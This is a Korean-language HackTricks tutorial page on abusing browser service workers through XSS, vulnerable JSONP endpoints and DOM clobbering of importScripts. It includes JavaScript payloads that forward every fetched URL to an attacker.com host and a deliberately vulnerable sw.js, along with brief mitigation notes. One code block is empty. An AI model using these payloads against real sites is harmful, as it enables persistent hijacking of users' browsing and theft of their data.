# 서비스 워커 악용
{{#include ../../banners/hacktricks-training.md}}
## 기본 정보
**서비스 워커**는 웹 페이지와 분리되어 브라우저에서 백그라운드에서 실행되는 스크립트로, 웹 페이지나 사용자 상호작용이 필요하지 않은 기능을 가능하게 하여 **오프라인 및 백그라운드 처리** 기능을 향상시킵니다. 서비스 워커에 대한 자세한 정보는 [여기](https://developers.google.com/web/fundamentals/primers/service-workers)에서 확인할 수 있습니다. 취약한 웹 도메인 내에서 서비스 워커를 악용함으로써 공격자는 해당 도메인 내의 모든 페이지에서 피해자의 상호작용을 제어할 수 있습니다.
### 기존 서비스 워커 확인
기존 서비스 워커는 **개발자 도구**의 **애플리케이션** 탭의 **서비스 워커** 섹션에서 확인할 수 있습니다. 또 다른 방법은 [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)를 방문하여 더 자세한 정보를 확인하는 것입니다.
### 푸시 알림
**푸시 알림 권한**은 **서비스 워커**가 사용자와의 직접적인 상호작용 없이 서버와 통신할 수 있는 능력에 직접적인 영향을 미칩니다. 권한이 거부되면 서비스 워커가 지속적인 위협을 가할 가능성이 제한됩니다. 반대로, 권한을 부여하면 잠재적인 악용을 수신하고 실행할 수 있게 되어 보안 위험이 증가합니다.
## 서비스 워커 생성 공격
이 취약점을 악용하기 위해서는 다음을 찾아야 합니다:
- 서버에 **임의의 JS** 파일을 **업로드**할 수 있는 방법과 업로드된 JS 파일의 **서비스 워커를 로드할 XSS**
- **출력을 조작할 수 있는 취약한 JSONP 요청**(임의의 JS 코드로)과 **페이로드로 JSONP를 로드할 XSS**가 필요합니다. 이 페이로드는 **악성 서비스 워커를 로드**합니다.
다음 예제에서는 `fetch` 이벤트를 수신하고 **각 가져온 URL을 공격자의 서버로 전송하는** 새로운 서비스 워커를 **등록하는 코드**를 제시하겠습니다(이 코드는 **서버**에 **업로드**하거나 **취약한 JSONP** 응답을 통해 로드해야 하는 코드입니다):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
이것은 **워커를 등록하는** 코드입니다 (당신이 **XSS**를 악용하여 실행할 수 있어야 하는 코드). 이 경우 **GET** 요청이 **공격자** 서버로 전송되어 서비스 워커의 **등록**이 성공했는지 여부를 **알립니다**:
```javascript
```
취약한 JSONP 엔드포인트를 악용할 경우 `var sw` 안에 값을 넣어야 합니다. 예를 들어:
```javascript
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
```
전용 **C2**가 **Service Workers**의 **악용**을 위해 [**Shadow Workers**](https://shadow-workers.github.io)라는 이름으로 존재하며, 이러한 취약점을 악용하는 데 매우 유용합니다.
**24시간 캐시 지시어**는 악의적이거나 손상된 **service worker (SW)**의 수명을 XSS 취약점 수정 후 최대 24시간으로 제한합니다. 온라인 클라이언트 상태를 가정할 때, 취약성을 최소화하기 위해 사이트 운영자는 SW 스크립트의 Time-To-Live (TTL)를 낮출 수 있습니다. 개발자들은 또한 신속한 비활성화를 위한 [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)를 만들도록 권장됩니다.
## DOM Clobbering을 통한 SW에서 `importScripts` 악용
Service Worker에서 호출된 **`importScripts`** 함수는 **다른 도메인에서 스크립트를 가져올 수 있습니다**. 이 함수가 **공격자가 수정할 수 있는 매개변수를 사용하여 호출되면**, 공격자는 **자신의 도메인에서 JS 스크립트를 가져올 수** 있으며 XSS를 얻을 수 있습니다.
**이것은 CSP 보호를 우회합니다.**
**예시 취약한 코드:**
- **index.html**
```html
```
- **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker
```
### DOM 클로버링을 이용한
DOM 클로버링이 무엇인지에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
dom-clobbering.md
{{#endref}}
SW가 **`importScripts`**를 호출하는 URL/도메인이 **HTML 요소 내부에** 있을 경우, **DOM 클로버링을 통해 이를 수정하여 SW가 **자신의 도메인에서 스크립트를 로드하도록** 할 수 있습니다.
이와 관련된 예시는 참조 링크를 확인하세요.
## 참조
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
{{#include ../../banners/hacktricks-training.md}}